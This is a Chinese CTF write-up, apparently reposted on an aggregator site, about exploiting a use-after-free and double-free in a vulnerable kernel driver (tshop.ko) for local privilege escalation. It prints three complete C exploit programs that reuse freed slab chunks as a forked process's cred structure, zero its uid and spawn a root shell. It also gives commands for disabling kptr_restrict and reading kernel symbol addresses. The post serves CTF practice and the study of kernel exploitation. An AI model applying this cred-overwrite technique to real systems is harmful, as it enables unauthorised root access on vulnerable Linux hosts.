LinuxKernel初探（一）BabyKernel

作者：郭昊天886688 | 来源：互联网 | 2023-10-11 18:49

这篇博客是记录入门Linuxkernel的心得和体会，一直以来对内核知识都较为感兴趣，下面就开始第一个kernelpwn的旅程（题目来自于TSCTF天枢-17）【+】题目：

Linux Kernel 初探（一）BabyKernel

写在前面

这篇博客是记录入门 Linux kernel 的心得和体会，一直以来对内核知识都较为感兴趣，下面就开始第一个 kernel pwn 的旅程（题目来自于 TSCTF 天枢-17）

题目描述

解压题目我们可以拿到以下文件:

p1umer@ubuntu:~/kernel/give_to_player$ ls -l
total 5516
-rwxr-xr-x 1 p1umer p1umer     202 May  9 00:09 boot.sh
-rw-r--r-- 1 p1umer p1umer 4127776 May  9 00:09 bzImage
-rw-r--r-- 1 p1umer p1umer 1514482 May  9 04:35 initramfs.img

将initramfs.img后缀改为.cpio后用ubuntu再次解压可以得到如下文件：

Linux Kernel 初探（一）BabyKernel

在poc文件夹内找到tshop.ko文件，使用IDA分析：

Linux Kernel 初探（一）BabyKernel

其中可以观察到，主要函数有三个：

tshop-ioctl
tshop-init
tshop-exit

其中核心函数是 tshop-ioctl 需要重点分析，我们后面会具体分析这个函数

调试以及数据交互

程序启动以及调试

题目包含了一个 qemu 的启动脚本如下：

#!/bin/sh
qemu-system-x86_64 
    -kernel bzImage 
    -nographic 
    -append "rdinit=/linuxrc cOnsole=ttyS0 oops=panic panic=1" 
    -m 128M 
    -cpu qemu64,smap,smep -initrd initramfs.img 
    -smp cores=1,threads=1 2>/dev/null

可以看到其中如果选择开启kaslr则需要在 -append 选项后面加上kaslr即可

如果选择gdb调试，则需要加上： -gdb tcp::4869 -S （其中-S为挂起等待），对应的gdb脚本：

gdb 
    -ex "add-auto-load-safe-path $(pwd)" 
    -ex "file vmlinux" 
    -ex 'set arch i386:x86-64:intel' 
    -ex 'target remote localhost:4869' 
    -ex 'continue' 
    -ex 'disconnect' 
    -ex 'set arch i386:x86-64' 
    -ex 'target remote localhost:4869'

EXP编写以及数据交互

Kernel Pwn 如何和驱动模块进行交互呢？

驱动处理预期流程是：

用户态调用驱动触发状态切换
进入内核态内核态响应用户请求
处理数据返回结果
切换回用户态

那么如何在用户态调用驱动呢？

首先，对一个字符设备而言有如下结构体：

struct file_operations d_fops = {
    .owner = THIS_MODULE,
    .open = d_open,
    .read = d_read,
    .write = d_write,
    .ioctl = d_ioctl,
    .release = d_release,
    };

该结构体展示了部分文件操作对应的函数指针。如读该设备时会调用d_open函数。从该结构体我们可以看出其实现了用户与内核驱动交互的接口，同时也就自然成为了内核攻击面之一。具体的调用方法为：

int main(int argc, char *argv[]){
    int fd = open("/dev/tshop",0);
    //debug();
    ioctl(fd,MALLOC,0);
    }

fd打开设备
通过ioctl进行具体的交互（或者该驱动注册的其他处理函数）

好了，可以实现和驱动模块的交互后，我们就可以用 c语言来编写相应的exploit了。但是在这之前，我们先了解一下内核的一些保护模式

缓释机制

mmap_min_addr

指定用户进程通过mmap可使用的最小虚拟内存地址，以避免其在低地址空间产生映射导致安全问题。

kptr_restrict / dmesg_restrict

在 linux 内核漏洞利用中常常使用commit_creds和prepare_kernel_cred来完成提权，它们的地址可以从/proc/kallsyms中读取。/proc/sys/kernel/kptr_restrict被默认设置为1以阻止通过这种方式泄露内核地址。dmesg_restrict限制非特权读dmesg（Restrict unprivileged access to kernel syslog）

SMEP/SMAP

SMEP(Supervisor Mode Execution Prevention，管理模式执行保护)和SMAP(Supervisor Mode Access Prevention，管理模式访问保护)，其作用分别是禁止内核执行用户空间的代码和禁止内核访问用户空间的数据。

程序分析

前面提到，ida打开.ko文件得到如下内容：

Linux Kernel 初探（一）BabyKernel

可以得到如下信息：

程序实现了kmalloc；kfree；edit1；edit2
程序维护了一个BUY_LIST用来存放kmen_cache_alloc分配的堆块
malloc的时候会把堆块写成特定值
两个edit函数改指针为固定值
有一个看起来没有参数的 kfree

等等，kfree没有参数？让我们仔细分析它：

Linux Kernel 初探（一）BabyKernel

嗯，参数还是有的。但是这里面在释放完毕BUY_LIST里的堆块之后并没有清空，也就是说我们得到了一个UAF!

调试判断 Cred 结构体大小

若要达到提权权限，则需要修改权限信息。kernel记录了线程的权限，更具体的，是用 cred 结构体记录的，每个线程中都有一个cred结构，这个结构保存了该进程的权限等信息（uid，gid等），如果能修改某个进程的cred，那么也就修改了这个进程的权限。所以我们需要得到Cred结构体大小，以便为后面的 exploit 拓展思路。

首先打开源码查看cred结构体定义

struct cred {
    atomic_t    usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
    atomic_t    subscribers;    /* number of processes subscribed */
    void        *put_addr;
    unsigned    magic;
#define CRED_MAGIC    0x43736564
#define CRED_MAGIC_DEAD    0x44656144
#endif
    uid_t        uid;        /* real UID of the task */
    gid_t        gid;        /* real GID of the task */
    uid_t        suid;        /* saved UID of the task */
    gid_t        sgid;        /* saved GID of the task */
    uid_t        euid;        /* effective UID of the task */
    gid_t        egid;        /* effective GID of the task */
    uid_t        fsuid;        /* UID for VFS ops */
    gid_t        fsgid;        /* GID for VFS ops */
    unsigned    securebits;    /* SUID-less security management */
    kernel_cap_t    cap_inheritable; /* caps our children can inherit */
    kernel_cap_t    cap_permitted;    /* caps we're permitted */
    kernel_cap_t    cap_effective;    /* caps we can actually use */
    kernel_cap_t    cap_bset;    /* capability bounding set */
#ifdef CONFIG_KEYS
    unsigned char    jit_keyring;    /* default keyring to attach requested
                     * keys to */
    struct key    *thread_keyring; /* keyring private to this thread */
    struct key    *request_key_auth; /* assumed request_key authority */
    struct thread_group_cred *tgcred; /* thread-group shared credentials */
#endif
#ifdef CONFIG_SECURITY
    void        *security;    /* subjective LSM security */
#endif
    struct user_struct *user;    /* real user ID subscription */
    struct user_namespace *user_ns; /* cached user->user_ns */
    struct group_info *group_info;    /* supplementary groups for euid/fsgid */
    struct rcu_head    rcu;        /* RCU deletion hook */
};

emmm，直接判断大小貌似有点困难，调试一下好了。

注意,由于系统开启了kptr_restrict，我们无法看到一些地址信息，所以我们需要关闭。

【关闭 kptr_restrict】：修改解压后的 /etc/.init/rcS 文件中的

echo 1 > /proc/sys/kernel/kptr_restrict 为 echo 0 > /proc/sys/kernel/kptr_restrict

这时候就可以得到一些我们感兴趣的地址：

【kmem_cache_alloc】： cat /proc/kallsyms |grep kmem_cache_alloc

【kfree】： cat /proc/kallsyms |grep kfree

【prepare_cred】： cat /proc/kallsyms | grep prepare_cred

【tshop的bss地址】： cat /sys/module/tshop/sections/.bss

另外，我们在用户态执行fork函数的时候，可以调用内核prepare_cred来创建cred结构体提供给新进程的新线程。

所以我们编写一个简单的demo.c:

/*
 * main.c
 * Copyright (C) 2019 P1umer 
 *
 */
// gcc exp.c -o exp --static -lpthread
#define _GNU_SOURCE
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 


#define MALLOC 0x271A
#define FREE   0x2766
#define EDIT1  0x1A0A
#define EDIT2  0x22B8 
pid_t pid;


void debug(){
    getchar();
}

int main(int argc, char *argv[]){
    int fd = open("/dev/tshop",0);
    debug();
    ioctl(fd,MALLOC,0);
    fork()；
}

【编译】： gcc exp.c -o exp --static -lpthread

【打包】：打包命令为： find . | cpio -o --format=newc > ../initramfs.img

值得注意的是，我们因为调试的是内核，在内核中有很多的kmem_cache_alloc && prepare_cred && kfree 调用，因此我们只希望在 poc 调用内核这些函数的时候进行下断调试，因此getchar()是必要的。

启动 gdb+qemu 调试，断在 prepare_cred：

Linux Kernel 初探（一）BabyKernel

调用了 0xffffffff810d3251 ，查看函数名：

$ cat /proc/kallsyms | grep "ffffffff810d3251" 
ffffffff810d3251 T kmem_cache_alloc

可以看到 prepare_cred 函数实际调用了 kmem_cache_alloc 来申请cred的空间，大小通过 $rsi 传参，为 0xd0。惊奇的发现，居然和我们ioctl操作中kmem_cache_alloc申请的大小一致

Exploit

上面提到有了一个UAF并且cred结构体大小和驱动malloc操作申请的堆块大小一致，那么接下来的事情就好办多了，在这之前先了解一下kernel里面的memory_management：

【+】 http://www.wowotech.net/memory_management/247.html

slab分配器的管理手段类似于 Glibc 中的 FastbinY。如果free链表内的chunk大小和该内核版本的 cred 结构体大小相同，那么会把free链表中的chunk解链返回给 cred。

于是我们就可以通过doublefree来进行提权：

doublefree
得到cred结构体后通过两次malloc修改cred结构体中的值为特定的值（上面的ida分析有提到），恰好可以达到 root 要求

这个地方遇到了一点困难：由于驱动的堆内存和内核的内存是共享的，在得到 cred 的同时会把cred的信息写入该内存，也就是说

在我们准备doublefree之前：
把cred写入最末尾的chunk

内核下一次申请的时候就会申请到非法地址，PANIC!

但是如果我们在系统申请非法地址之前讲free链表扩充到足够大是不是就可以让系统迟一点申请到非法地址呢? 我们来试一试：

编写exp.c(ugly code):

/*
 * main.c
 * Copyright (C) 2019 P1umer 
 *
 */
// gcc exp.c -o exp --static -lpthread
#define _GNU_SOURCE
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 


#define MALLOC 0x271A
#define FREE   0x2766
#define EDIT1  0x1A0A
#define EDIT2  0x22B8 
pid_t pid;


void debug(){
    getchar();
}

int main(int argc, char *argv[]){
    int fd = open("/dev/tshop",0);
    debug();

    ioctl(fd,MALLOC,0);
    ioctl(fd,MALLOC,1);
    ioctl(fd,MALLOC,2);
    ioctl(fd,MALLOC,3);
    ioctl(fd,MALLOC,4);
    ioctl(fd,MALLOC,5);
    ioctl(fd,MALLOC,6);
    ioctl(fd,MALLOC,7);
    ioctl(fd,MALLOC,8);
    ioctl(fd,MALLOC,9);
    ioctl(fd,MALLOC,10);
    ioctl(fd,MALLOC,11);
    ioctl(fd,MALLOC,12);
    ioctl(fd,MALLOC,13);
    ioctl(fd,MALLOC,14);
    ioctl(fd,MALLOC,15);
    ioctl(fd,MALLOC,16);
    ioctl(fd,MALLOC,17);

    ioctl(fd,FREE,17);
    ioctl(fd,FREE,16);
    ioctl(fd,FREE,17);

    pid=fork();
    if(pid==0){
        printf("[+] root?");
        system("whoami");
    }else{
            ioctl(fd,MALLOC,16);
            ioctl(fd,MALLOC,17);//cred==0 

            ioctl(fd,FREE,0);
            ioctl(fd,FREE,1);
            ioctl(fd,FREE,2);
            ioctl(fd,FREE,3);
            ioctl(fd,FREE,4);
            ioctl(fd,FREE,5);
            ioctl(fd,FREE,6);
            ioctl(fd,FREE,7);
            ioctl(fd,FREE,8);
            ioctl(fd,FREE,9);
            ioctl(fd,FREE,10);
            ioctl(fd,FREE,11);
            ioctl(fd,FREE,12);
            ioctl(fd,FREE,13);
            ioctl(fd,FREE,14);
            ioctl(fd,FREE,15);
    }
}

输出结果：

Linux Kernel 初探（一）BabyKernel

貌似已经提权成功了。这种方法确实奏效，但是当我多执行一些指令的时候内核又会panic

怎么办呢？

Exploit 加固

由于panic的核心原因在于把 cred info 当作地址来申请堆块，那么在这个方向思考的话，其实可以通过一个free的写指针操作把 cred info 覆盖为一个有效的 chunk 地址，也就是free链表的尾 chunk 地址。

/*
 * main.c
 * Copyright (C) 2019 P1umer 
 */
// gcc exp.c -o exp --static -lpthread
#define _GNU_SOURCE
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 


#define MALLOC 0x271A
#define FREE   0x2766
#define EDIT1  0x1A0A
#define EDIT2  0x22B8 
pid_t pid;

void debug(){
    getchar();
}

int main(int argc, char *argv[]){
    int fd = open("/dev/tshop",0);
    debug();
    ioctl(fd,MALLOC,0);
    ioctl(fd,MALLOC,1);
    ioctl(fd,MALLOC,2);
    ioctl(fd,MALLOC,3);
    ioctl(fd,MALLOC,4);
    ioctl(fd,MALLOC,5);
    ioctl(fd,MALLOC,6);
    ioctl(fd,MALLOC,7);
    ioctl(fd,MALLOC,8);
    ioctl(fd,MALLOC,9);
    ioctl(fd,MALLOC,10);
    ioctl(fd,MALLOC,11);
    ioctl(fd,MALLOC,12);
    ioctl(fd,MALLOC,13);
    ioctl(fd,MALLOC,14);
    ioctl(fd,MALLOC,15);
    ioctl(fd,MALLOC,16);
    ioctl(fd,MALLOC,17);

    ioctl(fd,FREE,17);
    ioctl(fd,FREE,16);
    ioctl(fd,FREE,17);

    pid=fork();

    if(pid==0){
        sleep(1);
        printf("[+] root");
        system("whoami");
        system("/bin/sh");
    }else{

        printf("[+] shell close");
        ioctl(fd,FREE,17);
        ioctl(fd,MALLOC,17);

        ioctl(fd,MALLOC,16);
        ioctl(fd,MALLOC,17);//cred==0 

        ioctl(fd,FREE,0);
        ioctl(fd,FREE,1);
        ioctl(fd,FREE,2);
        ioctl(fd,FREE,3);
        ioctl(fd,FREE,4);
        ioctl(fd,FREE,5);
        ioctl(fd,FREE,6);
        ioctl(fd,FREE,7);
        ioctl(fd,FREE,8);
        ioctl(fd,FREE,9);
        ioctl(fd,FREE,10);
        ioctl(fd,FREE,11);
        ioctl(fd,FREE,12);
        ioctl(fd,FREE,13);
        ioctl(fd,FREE,14);
        ioctl(fd,FREE,15);
        sleep(100);

    }
}

主进程通过 UAF 再次把 chunk17 free 了一次，复写里面的Cred info 为 chunk16 的地址，然后再次申请堆块把链表恢复为原状态。同时在父进程中加了sleep函数提高稳定性。

这时候已经得到了稳定的 root shell

Linux Kernel 初探（一）BabyKernel

更多的思考

还有一种更为精简的解法, 从一开始没有考虑 doublefree ：

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

#define DEL         0x2766
#define SET_ZEGE     0x22B8  // 0x123456789ABCDEF0LL
#define ALLOC         0x271A
#define SET_JIGE     0x1A0A  // 0xFEDCBA987654321LL


int main() {
    int fd = open("/dev/tshop", 0);
    size_t heap_addr , kernel_addr,mod_addr;
    if (fd <0) {
        printf("[-] bad open /dev/tshopn");
        exit(-1);
    }

    ioctl(fd, ALLOC, 0);
    ioctl(fd, ALLOC, 1);
    ioctl(fd, DEL, 0);
    ioctl(fd, DEL, 1);
    int pid=fork();
    ioctl(fd, DEL, 1);
    ioctl(fd, ALLOC, 3);
    //getchar();
    //getchar();
    if (pid <0) {
        puts("[-] fork error!");
        exit(0);
    } else if (pid == 0) {
        if (getuid() == 0) {
            puts("[+] root");
            system("cat /home/sunichi/flag");
            system("id");
            system("/bin/sh")
            exit(0);
        }
    } else {
        sleep(30);
        puts("[+] parent exit");
    }
}

具体思路：

alloc并free掉两块内存，使他们接入slab cache链表的尾部，这里暂且给它编号为chunk0和chunk1
由于采用FIFO算法，此时slab缓存的单向链表最尾端的chunk为chunk1，而且第一个8字节存储的是指向chunk0的指针，当ALLOC新cache时，将优先取出chunk1分配给进程。
fork一个子进程，这个子进程的cred结构体会复用此前我们free掉的内存块（chunk1）
此时，堆块中的cred如下：
我们的目标是将cred的id位置零，首先就需要再次拿到cred所在堆块（chunk1）
free并立即进行alloc操作，chunk1就会挂到cache链上后再次被申请回来。
由于ALLOC操作伴随着所在堆块数据的初始化，于是我们不用再有多余的操作便能将cred结构体uid及gid位置零。此时子进程就已成功提权（root）

以上就是本文的全部内容，希望对大家的学习有所帮助，也希望大家多多支持我们

推荐阅读

string
基于Net Core 3.0与Web API的前后端分离开发：Vue.js在前端的应用

本文介绍了如何使用Net Core 3.0和Web API进行前后端分离开发，并重点探讨了Vue.js在前端的应用。后端采用MySQL数据库和EF Core框架进行数据操作，开发环境为Windows 10和Visual Studio 2019，MySQL服务器版本为8.0.16。文章详细描述了API项目的创建过程、启动步骤以及必要的插件安装，为开发者提供了一套完整的开发指南。 ... [详细]

蜡笔小新 2024-11-11 10:58:21
future
如何在Nginx服务器上轻松配置CertBot以实现SSL证书自动化管理

为了确保iOS应用能够安全地访问网站数据，本文介绍了如何在Nginx服务器上轻松配置CertBot以实现SSL证书的自动化管理。通过这一过程，可以确保应用始终使用HTTPS协议，从而提升数据传输的安全性和可靠性。文章详细阐述了配置步骤和常见问题的解决方法，帮助读者快速上手并成功部署SSL证书。 ... [详细]

蜡笔小新 2024-11-10 08:42:08
function
利用Struts1构建简易计算器：采用DispatchAction处理请求，动态Form优化开发流程，提供用户友好的错误提示

本文介绍了如何利用Struts1框架构建一个简易的四则运算计算器。通过采用DispatchAction来处理不同类型的计算请求，并使用动态Form来优化开发流程，确保代码的简洁性和可维护性。同时，系统提供了用户友好的错误提示，以增强用户体验。 ... [详细]

蜡笔小新 2024-11-09 19:48:22
string
利用爬虫技术抓取数据，结合Fiddler与Postman在Chrome中的应用优化提交流程

本文探讨了如何利用爬虫技术抓取目标网站的数据，并结合Fiddler和Postman工具在Chrome浏览器中的应用，优化数据提交流程。通过详细的抓包分析和模拟提交，有效提升了数据抓取的效率和准确性。此外，文章还介绍了如何使用这些工具进行调试和优化，为开发者提供了实用的操作指南。 ... [详细]

蜡笔小新 2024-11-09 09:05:16
select
解决Only fullscreen opaque activities can request orientation错误的方法

本文介绍了在使用PictureSelectorLight第三方框架时遇到的Only fullscreen opaque activities can request orientation错误，并提供了一种有效的解决方案。 ... [详细]

蜡笔小新 2024-11-13 09:46:25
io
MySQL 数据迁移时 .frm 文件报错问题

本文讨论了在进行 MySQL 数据迁移过程中遇到的所有 .frm 文件报错的问题，并提供了详细的解决方案和建议。 ... [详细]

蜡笔小新 2024-11-12 10:47:49
io
在Windows系统中安装TensorFlow GPU版的详细指南与常见问题解决

在Windows系统中安装TensorFlow GPU版是许多深度学习初学者面临的挑战。本文详细介绍了安装过程中的每一个步骤，并针对常见的问题提供了有效的解决方案。通过本文的指导，读者可以顺利地完成安装并避免常见的陷阱。 ... [详细]

蜡笔小新 2024-11-11 19:02:49
io
在CentOS 7环境中安装配置Redis及使用Redis Desktop Manager连接时的注意事项与技巧

在 CentOS 7 环境中安装和配置 Redis 时，需要注意一些关键步骤和最佳实践。本文详细介绍了从安装 Redis 到配置其基本参数的全过程，并提供了使用 Redis Desktop Manager 连接 Redis 服务器的技巧和注意事项。此外，还探讨了如何优化性能和确保数据安全，帮助用户在生产环境中高效地管理和使用 Redis。 ... [详细]

蜡笔小新 2024-11-11 18:27:44
select
在Linux系统中避免安装MySQL的简易指南

在Linux系统中避免安装MySQL的简易指南 ... [详细]

蜡笔小新 2024-11-11 13:22:28
main
深入解析C语言中结构体的内存对齐机制及其优化方法

为了提高CPU访问效率，C语言中的结构体成员在内存中遵循特定的对齐规则。本文详细解析了这些对齐机制，并探讨了如何通过合理的布局和编译器选项来优化结构体的内存使用，从而提升程序性能。 ... [详细]

蜡笔小新 2024-11-11 11:53:59
string
Unity与MySQL连接过程中出现的新挑战及解决方案探析

Unity与MySQL连接过程中出现的新挑战及解决方案探析 ... [详细]

蜡笔小新 2024-11-11 09:55:19
main
Android 构建基础流程详解

Android 构建基础流程详解 ... [详细]

蜡笔小新 2024-11-10 15:45:20
io
在Windows环境中使用SecureCRT高效连接Linux服务器

SecureCRT是一款功能强大的终端仿真软件，支持SSH1和SSH2协议，适用于在Windows环境下高效连接和管理Linux服务器。该工具不仅提供了稳定的连接性能，还具备丰富的配置选项，能够满足不同用户的需求。通过SecureCRT，用户可以轻松实现对远程Linux系统的安全访问和操作。 ... [详细]

蜡笔小新 2024-11-10 14:46:15
io
如何在本地环境中调试远程服务器上的网站代码执行问题

在本地环境中调试远程服务器上的网站代码执行问题，可以通过以下步骤实现：首先，在本地安装 Visual Studio 并配置远程调试工具。接着，确保服务器和本地机器之间的网络连接畅通，并正确设置防火墙规则以允许调试流量。最后，使用 Visual Studio 的远程调试功能连接到服务器，进行代码调试。这种方法不仅提高了开发效率，还减少了在服务器上直接操作的风险。 ... [详细]

蜡笔小新 2024-11-10 10:32:01
io
Mac上运行Windows应用程序：Parallels Desktop Mac版全面解析

Parallels Desktop for Mac 是一款功能强大的虚拟化软件，能够在不重启的情况下实现在同一台电脑上无缝切换和使用 Windows 和 macOS 系统中的各种应用程序。该软件不仅提供了高效稳定的性能，还支持多种高级功能，如拖放文件、共享剪贴板等，极大地提升了用户的生产力和使用体验。 ... [详细]

蜡笔小新 2024-11-09 13:40:12